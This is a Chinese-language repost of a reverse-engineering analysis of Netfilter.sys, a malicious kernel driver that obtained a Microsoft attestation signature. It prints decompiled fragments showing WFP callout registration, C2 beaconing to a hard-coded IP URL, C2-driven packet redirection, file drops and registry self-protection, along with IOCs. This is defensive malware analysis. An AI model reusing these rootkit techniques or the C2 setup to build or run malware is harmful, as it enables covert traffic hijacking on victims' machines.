逆向分析微软签名的Rootkit:Netfilter.sys与WFP流量重定向

admin 2026-01-26 02:21:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文逆向分析了获微软签名的恶意驱动Netfilter.sys。该驱动利用WindowsFilteringPlatform进行隐蔽的IP流量重定向,并通过硬编码C2实现指令控制。文章深入剖析了其内核初始化、WFP劫持及自我保护机制,揭示了攻击者滥用合法API的行为,并总结了微软收紧签名流程以修复信任链漏洞的应对措施。 综合评分: 94 文章分类: 逆向分析,二进制安全,恶意软件,红队


cover_image

逆向分析微软签名的 Rootkit:Netfilter.sys 与 WFP 流量重定向

splintersfury splintersfury

securitainment

2026年1月24日 17:30 中国香港

| 原文链接 | 作者 | | — | — | | https://threatunpacked.com/2025/10/07/reversing-a-microsoft-signed-rootkit-the-netfilter-driver/ | splintersfury |

对 Netfilter.sys 的一篇详细技术剖析:这是一个恶意内核驱动,却通过 Attestation Signing 获得了 Microsoft 的合法签名。本文将拆解该 rootkit 如何利用 Windows Filtering Platform (WFP) 进行隐蔽的 IP 重定向、其 C2 通信机制,以及事后 Microsoft 如何强化了驱动签名流程。

为什么我要拆解这个驱动

在研究攻击者如何在现代 Windows 上绕过 Driver Signing Enforcement (DSE) 的过程中,我碰到了一起 2021 年的案例:一个名为 Netfilter 的恶意驱动,竟然被 Microsoft 合法签名。签名流水线在现实世界里“翻车”的例子非常有意思。我们来把它逆向一遍,看看威胁行为者是如何混过去的,并总结 Microsoft 之后又收紧了哪些环节。

一个恶意驱动如何获得 Microsoft 的背书

Attestation Signing 入门 (过去的“快车道”)

Windows 要求内核驱动必须带有 Microsoft 签名,才能在开启 DSE 的情况下加载。厂商通常通过 Windows Hardware Compatibility Program (WHCP) 提交,并运行全面的 HLK 测试。2015 年,Microsoft 引入了 Attestation Signing:这是一条更快、更自动化的通道,针对非 PnP 或小众驱动可以跳过 HLK。厂商上传一个 CAB,自动化扫描器会查找明显的恶意行为,然后 Microsoft 返回已签名的 CAT + 重新签名过的二进制文件。

2021 年 6 月出了什么问题

威胁行为者创建了一个看起来“合法”的 Hardware Developer Program 账号 (EV 证书 + 公司身份),并通过 attestation 门户提交了 Netfilter.sys。该驱动的恶意逻辑非常隐蔽 (它注册为 Windows Filtering Platform 的 callout 并重定向 IP;没有明显的 shellcode)。自动化检查没有命中任何问题,于是门户为其签名并盖章。随后,这个“已签名的恶意软件”在中国游戏圈被观察到,G DATA 发出警报。Microsoft 确认这是一次误签,并吊销了合作伙伴账号与相关哈希。

Microsoft 的清理动作与新规则

2021 年 6 月 — Microsoft 通过 Defender 封禁该驱动、暂停 dev-center 账号,并表示后续将“完善合作伙伴访问、验证与签名”流程。

2023 年 3 月 — Microsoft 宣布:Attestation Signing 签名的驱动不再允许面向零售用户发布到 Windows Update。想要大范围分发的厂商必须走完整的 WHCP release-sign 路径 (通过 HLK 测试)。

2024–2025 年 — 进一步调整:预生产签名被拆分到单独的 CA;合作伙伴必须重新关联 EV 证书;任何可能触达零售受众的内核驱动会引入额外的人工审查。

结论是:Netfilter 事件基本关闭了大多数公开驱动的“快车道”,attestation 如今更多只能用于测试;而面向零售发布的版本将接受更严格的人工与自动化审查。

逐步拆解 Netfilter

名称:netfilter.sys

MD5: 916ba55fc004b85939ee0cc86a5191c5

SHA-1: 8788f4b39cbf037270904bdb8118c8b037ee6562

SHA-256: 115034373fc0ec8f75fb075b7a7011b603259ecc0aca271445e559b5404a1406

类型:Driver64

DriverEntry: 标准初始化,但暗藏变化

(这一部分从表面看基本无害,非常符合许多 WFP 驱动的典型套路。)

在 IDA 里打开驱动 ➜ 直接跳到 DriverEntry

  • 导入与框架绑定:

  • 组件初始化:

  • InitializeDriverComponents(&driverConfigObject)

    会遍历每个组件,并为每个组件调用 WdfVersionBindClass

  • 如果初始化 (InitializeDriverComponentsFinalizeInitialization或 fallback init) 失败,CleanupComponents会调用 WdfVersionUnbind/WdfVersionUnbindClass来干净地回滚。这个错误处理也很常见。

  • Driver Unload 挂钩:

  • DriverUnloadHook

    确保会调用自己的 CleanupComponents函数 (以及任何原始的卸载例程)。这是确保资源释放的标准做法。

  • 提示网络活动的初始导入:

  • FwpsCalloutRegister1

    FwpmEngineOpen0等 Fwpm*/Fwps*函数 (Windows Filtering Platform) 的出现,清楚表明该驱动打算与网络栈交互。许多合法的安全产品与网络工具都会使用 WFP。

  • IoCreateDevice

    与 IoCreateSymbolicLink之类的调用 (出现在 SetupNetworkFilter调用的 InitializeDriverResources中) 对需要从用户态访问的驱动来说也很标准。

截至 DriverEntry的这一阶段,它的行为都符合“要做网络过滤”的驱动:逻辑主要围绕初始化、框架绑定,以及保证正确清理。

回退路径:InitializeFallback

即便在 DriverEntry中已经尝试了标准的 WDF 绑定与组件初始化,这个驱动仍然总会落到这条回退例程:

  • 什么时候调用 InitializeFallback?

    在 DriverEntry中 InitializeDriverComponents与 FinalizeInitialization之后无条件调用——不管前面的步骤成功还是失败。在极少数 DriverObject为 null 的情况下,它会被直接调用。

  • 为什么这很重要:

    无论其它环节失败与否,驱动都要尽量拉起它的 网络过滤核心。这种“最后一道防线”的执念说明 拦截网络流量是它的最高优先级——即使处于降级状态也一样。

网络过滤初始化:SetupNetworkFilter

在 SetupNetworkFilter内,驱动为其网络操控能力打地基:

  • 全局配置:
  ConfigureFilterGlobals(0, (__int64)"NET_FILTER", 1, 1);
  // Sets g_FilterName = "NET_FILTER", g_CreateDevObj = 0, g_FilterFlagA = 1, g_FilterFlagB = 1
  • 该函数设置了一些全局名称与标志位。L"NET_FILTER"变成了一个全局标识符。
  • 条件启动:
  if ( ShouldStartFilter() )
  // ShouldStartFilter() calls QueryServiceControl(), which likely checks a registry value or external trigger.
  // The result is cached in g_ShouldStartCached.
  • 驱动会检查它 是否应该启用过滤。这提供了一个控制机制,可能由 C2 或注册表配置触发。
  • 设备对象创建:
  SetDeviceAndSymbolicNames(L"\\Device\\netfilter", L"\\??\\netfilter");
  • 创建一个 \Device\netfilter设备和一个 \??\netfilter符号链接,使用户态应用能与其通信 (例如发送配置或接收数据)。这对很多驱动来说是标准操作。

  • Windows Filtering Platform (WFP) 注册 (“隐蔽”恶意逻辑的核心):

    Windows Filtering Platform (WFP) 是 Windows 中一套强大的 API 与系统服务,为应用与驱动提供拦截、修改网络流量的基础设施。它是许多网络安全特性的骨干 (包括 Windows Firewall),也被大量第三方防火墙、入侵检测/防御系统、VPN 客户端与网络监控工具使用。

    WFP 如何工作 (简化版):

    WFP 很重要,因为它为内核态组件提供了一条有文档、受支持、相对稳定的路径来与网络栈交互,避免使用直接 NDIS hooking 这类不受支持且可能导致系统不稳定的技术。

    (如果想深入了解 WFP 架构与开发,可以阅读 zeronetworks 的这篇文章https://zeronetworks.com/blog/wtf-is-going-on-with-wfp)

    下面我们看看 Netfilter.sys 如何利用这个“合法”的平台:

  1. Filtering Engine:

    WFP 的核心组件,用于将网络 packet 与已注册规则进行匹配与处理。

  2. Layers:

    WFP 在 TCP/IP 栈的不同位置定义了特定“层”(例如 IP packet layer、transport layer、用于连接建立的 Application Layer Enforcement (ALE)),过滤可发生在任意层。

  3. Callouts:

    由第三方驱动 (如 Netfilter.sys) 实现的函数。当 WFP engine 处理到匹配某条与 callout 关联的 filter rule 的流量时,就会调用该 callout 函数。

  4. ClassifyFn:

    callout 内的主函数。它接收 packet/connection metadata,并决定返回 PERMITBLOCK或 CALLOUT_ACTION_CONTINUE(交给权重更低的 filter)。关键点在于,它还可以请求对 packet data 的可写访问,以便修改数据。

  5. Filters:

    规则本体。filter 会指定条件 (如 IP 地址、端口、协议、方向),并把自己关联到某个 layer 与 sub-layer 上的特定 callout;同时定义 action (例如调用 callout、permit、block)。

  6. Sub-Layers:

    用于在同一 WFP layer 上对多个 filter 做排序与仲裁,保证处理顺序可预测。

  • EnsureFrameworkInitialized()

    : 很可能用于确保基本的 WDF 结构已经就绪。

  • RegisterFilterContext()

    : 通过 WDF 提供的回调获取并保存驱动的 WDF device context。

  • InitializeContextFromHandle()

    : 一次性完成 WFP engine handle、transaction、callout 与 filter 的初始化:

  1. OpenWfpEngine() 调用 `FwpmEngineOpen0` 获取 Windows Filtering Platform 的 handle。

  2. BeginWfpTransaction() 调用 `FwpmTransactionBegin0`,使随后的 WFP 变更作为一个可回滚的整体进行。

  3. RegisterCalloutFunctions()

      填充一个 `FWPM_CALLOUT` 结构体:

      - `classifyFn = (FWPS_CALLOUT_CLASSIFY_FN1)ClassifyCallback`

      - `notifyFn = (FWPS_CALLOUT_NOTIFY_FN1)NotifyCallback`

      - `flowDeleteFn = (FWPS_CALLOUT_FLOW_DELETE_NOTIFY_FN0)FlowDeleteNoOp`

      - `calloutKey = {GUID}` 用于标识该驱动的 callout。

          通过 `FwpmCalloutAdd0` 提交。

  4. **AddCalloutAndFilters()**

      - **FwpmSubLayerAdd0**: 创建一个自定义 sub-layer (GUID `{2921234954u,50698u,…}`),用于对 filters 做排序。
      - **FwpmFilterAdd0**: 插入一个 terminating callout filter:

      ```c
      filter.layerKey     = {IP_PACKET-or-ALE_AUTH_CONNECT GUID};
      filter.subLayerKey  = customSubLayerKey;
      filter.action.type  = FWP_ACTION_CALLOUT_TERMINATING | FWP_ACTION_FLAG_CALLOUT;
      filter.action.calloutKey = calloutKey;
      ```

      这会强制把匹配的流量送进 callout 例程,并让它的裁决成为最终结果。

  5. CommitWfpTransaction()

      调用 `FwpmTransactionCommit0` 应用全部变更;如出错则回滚。
  • g_ContextInitSucceeded

    仅当上述每一步都返回成功时,这个全局标志才会被置为 true。

WFP 的良性用法:注册 callout 与 filter 正是防火墙、网络监控工具 hook 网络 I/O 的方式。恶意之处:这里不是用于防护,而是用于“无形地”重定向流量并支撑 C2 通道,利用标准 OS API 来尽量躲在雷达之下。

  • 工作线程创建:
  if ( regStatus >= 0 && StartFilterDevice(DriverObject) ) // StartFilterDevice likely finalizes WDF device operations
  {
  AllocateWorkItem(&g_WorkItem); // Initializes a KEVENT for synchronization
  return (unsigned __int8)CreateSystemThread(&g_WorkerThreadHandle, FilterWorkerThread) != 0;
  }
  • 如果 WFP 初始化全部成功,就会创建一个内核工作线程 (FilterWorkerThread)。这个线程将负责 C2 活动。

FilterWorkerThread中的隐蔽 Beaconing 与 C2 功能

(驱动的行为从这里开始明显变得恶意)

一旦 SetupNetworkFilter成功,驱动就会拉起 FilterWorkerThread。这个内核态线程就是它隐蔽行动的发动机:

  • 执行权限与运行环境:
  KeEnterCriticalRegion();
  KeSetBasePriorityThread(KeGetCurrentThread(), 5); // Priority 5 is relatively high for a driver thread.
  AttachThreadToFilterFramework(KeGetCurrentThread()); // Stores current thread in g_Qw_14000E210
  InitializeNetworkSubsystem(); // Initializes timer list (qword_140010650)
  • 通过进入 critical region 并提高 base priority,线程试图降低被低优先级系统活动抢占或打断的概率。
  • 用于 C2 通信与任务的周期性定时器:
  • 线程通过 SchedulePeriodicTimerTask设置多个周期任务,它会把条目加入一个列表,由主循环中的 HandleDeferredTimerTasks处理。
  SchedulePeriodicTimerTask(CheckProxyConfigTimerCallback, 10);      // Related to registry checks/updates for proxy settings
  SchedulePeriodicTimerTask(UploadStatsTimerCallback, 60);   // For sending data
  SchedulePeriodicTimerTask(CleanupAndConfigFetchTimerCallback, 1800); // Calls FetchRemoteConfig_IfChanged to fetch config
  SchedulePeriodicTimerTask(ReconnectTimerCallback, 1800);  // Implies C2 connection maintenance
  SchedulePeriodicTimerTask(HeartbeatTimerCallback, 30);    // Core "I'm alive" beacon and data exchange
  • SetC2ServerUrl("http://110.42.4.180:2080/u");

  • 该调用将 C2 server URL 硬编码写入全局变量。这是一个明确的 IOC。

  • C2 通信循环:

  • 线程通过 IsNetworkReady_PerformInitialC2Check()等待网络就绪。该函数本身会通过 PerformHttpGetRequest_AndStoreResponse向 C2 server 发起一次 HTTP GET 并检查响应,可能用于获取初始配置或“放行”信号。

  • 随后进入主循环:

  while ( !g_TerminationRequested )
  {
    ProcessInboundPackets();
    ProcessOutboundPackets();
    HandleDeferredWork(1i64);
    SleepMilliseconds(1000i64);
  }
  • C2 通信细节:

  • 出站 Beaconing/数据回传:HeartbeatTimerCallback

    -> PrepareHeartbeatDataAndTriggerC2-> SendHeartbeatAndReceiveFileFromC2:

  • HeartbeatTimerCallback

    触发 PrepareHeartbeatDataAndTriggerC2。该函数尝试读取一个本地文件 (路径由驱动自身的 ImagePath通过 GetDriverImagePath_Wdf与 ReadFileContentToBuffer推导)。

  • 如果文件读取失败或内容为空,则使用默认标识符 "921fa8a5442e9bf3fe727e770cded4ab";否则对文件内容计算一个类似 MD5 的 hash (通过 CalculateMD5HashOfString))。

  • 该标识符/hash 会被传给 SendHeartbeatAndReceiveFileFromC2

  • SendHeartbeatAndReceiveFileFromC2

    随后调用 ConstructC2HeartbeatUrl拼出 GET 请求 URL: GLOBAL_C2_BASE_PATH + "v=" + DRIVER_VERSION_STRING + "&m=" + SYSTEM_IDENTIFIER

  • PerformHttpGetRequest_ParseResponseToHash_AndSaveToFile

    执行该 HTTP GET 请求。

  • C2 的响应会被进一步处理:

  • 如果 HTTP status 为“200” (由 FindSubstring_CheckHttpOkStatus检查),就取出 body (header 之后的部分,由 FindHttpBodyFromResponse定位)。

  • 会对该 C2 响应 body 计算一个类似 MD5 的 hash,并写入全局变量 (可能作为 session key 或更新后的标识)。

  • 随后把原始的 C2 响应 body 写入本地文件:通过 WriteDataToFileFromC2_Wrapper调用 WriteBufferToFileByPath完成。文件名大概率同样由驱动的 ImagePath推导得到。这就是 C2 向受害机投递文件 (更新配置、新模块等) 的方式。

  • 入站命令拉取 (ProcessInboundPackets):

  • 该函数会向 C2 server URL 发起 GET 请求 (http://110.42.4.180:2080/u)。

  • 如果收到的响应不只是简单的“200 OK”,它就会解析 body。

  • 它期望的响应格式类似:[target_IP_decimal-target_port]{new_redirect_IP_decimal|new_redirect_port}。(实际解析更宽松,会寻找 [id1-id2]{data|data...}这类结构)

  • QueueC2CommandToList

    把解析出的规则/命令 (原始 IP、新 IP、端口) 入队到一个链表。

  • 之后 WFP callout (WfpClassifyCallback_RedirectTraffic) 会使用这条队列来执行 IP/port 重定向。

  • 恶意载荷投递与动作 (通过 WFP callout WfpClassifyCallback_RedirectTraffic与 WfpApplyPacketRedirection):

  • 当网络流量匹配到 WFP filter 时,会调用 WfpClassifyCallback_RedirectTraffic

  • 它从 packet metadata 中提取原始目的 IP 与端口。

  • 随后调用 FindRedirectionRuleInQueue,遍历命令队列 (由 FetchAndProcessC2Commands填充),查找与原始目的 IP 匹配的重定向规则。

  • 如果找到规则,FindRedirectionRuleInQueue会返回新的目的 IP 与端口。

  • 接着 WfpApplyPacketRedirection通过 FwpsAcquireWritableLayerDataPointer0获取对 packet 网络层数据的直接写访问,并将 packet header 里的目的 IP 地址与目的端口修改为从 C2 收到的新值。

  • IP 地址会进行 byte-swap (_byteswap_ulong),端口可能也会进行 byte-swap (__ROR2__),以确保网络字节序正确。

  • FwpsApplyModifiedLayerData0

    将这些改动提交回 packet。

  • packet 被重定向后,会通过 FwpsCompleteClassify0放行继续处理,其中 actionType = FWP_ACTION_PERMIT | FWP_ACTION_FLAG_CALLOUT

  • 这类 IP 重定向就是代码中观察到的主要恶意网络载荷。

  • 隐蔽性优势:

  • 内核态运行:

    高权限执行,使用户态安全软件难以直接检测或干预。

  • “合法”的 WFP 用法:

    利用标准的 Windows Filtering Platform API,表面上看起来像一个合法的网络工具或防火墙。恶意性体现在基于 C2 命令执行过滤的 effect上。

  • 混入正常流量的 C2:

    如果不专门盯住连接到硬编码 IP/domain 的请求,C2 的 HTTP GET 很难与普通 Web 流量区分。

  • 用于防御/隐蔽的注册表回调 (RegistryOperationCallback_ProtectSetting):

  • 该回调通过 CmRegisterCallbackEx注册,用于监控特定注册表键:

  • \Registry\User\%SID%\Software\Microsoft\Windows\CurrentVersion\Internet Settings

  • \Registry\User\%SID%\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections

  • \Registry\Machine\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\

  • 如果检测到有人试图修改 AutoConfigURLDefaultConnectionSettings等值,或访问某些证书路径 (通过 IsRegistryPathTargeted(原 sub_140006504) 检查),它可以返回 STATUS_ACCESS_DENIED

  • 这是一种防御机制

    ,用来保护它的 C2 通信通道 (例如它依赖 rootkit 修改后的系统代理设置),或阻止与其可能安装的 rogue root certificate 相关的篡改/检测 (用于 TLS interception)。

结论:关于隐蔽性与系统信任的一课

这次对 netfilter.sys的深挖,虽然算是从我关于 Driver Signing Enforcement 的主线研究中“拐”出去的一段插曲,但它提供了与主题高度相关且非常宝贵的洞见。我们看到威胁行为者可以:

  1. 利用信任体系:

    通过呈现一个“初始例程看起来像合法软件”的驱动,成功穿过 (当时) 相对宽松的 attestation signing 流程。

  2. 执行“隐蔽的恶意”:

    核心恶意逻辑并不体现在明显的 shellcode 或静态分析里容易被标记的 API 滥用上,而是对强大且“合法”的 Windows Filtering Platform 进行 purposeful misuse_,并通过隐蔽的 C2 通道激活与控制。驱动使用标准 WFP 函数 hook 网络栈,但其rules_ 与 actions(IP 重定向) 是由攻击者在部署后下发决定的。

  3. 维持长期隐蔽运行:

    通过内核态运行、建立可混入正常 HTTP 流量的 C2 通道,甚至防御性地监控与其运行相关的注册表键,这个 rootkit 试图实现长期驻留与规避检测。

Netfilter 案例凸显了自动化安全审核的一项关键挑战:识别“意图”。驱动代码本身 (尤其是 WFP 注册部分) 很大程度上是在按文档化方式使用 API;真正让它变得恶意的是 C2 驱动的特性,以及其最终目标是操控网络流量。

Microsoft 此后收紧 attestation signing 流程、推动更多驱动转向更全面的 WHCP 验证、并增加更多审查层级,正是对这类事件的直接回应。这也体现了攻击者不断寻找滥用系统特性的新路径、平台厂商持续修补漏洞之间的长期“猫鼠游戏”。

对 Netfilter 的这次研究虽然是一个具体个案,但它再次强调了“强健的驱动审核”的重要性,也强调安全机制需要超越静态特征,去理解真实的运行时行为与意图。现在,回到 DSE 及其不断演进的防御体系这个更大的版图 ~


Reversing a Microsoft-Signed Rootkit The Netfilter Driver

免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:securitainment splintersfury splintersfury《逆向分析微软签名的 Rootkit:Netfilter.sys 与 WFP 流量重定向》

评论:0   参与:  0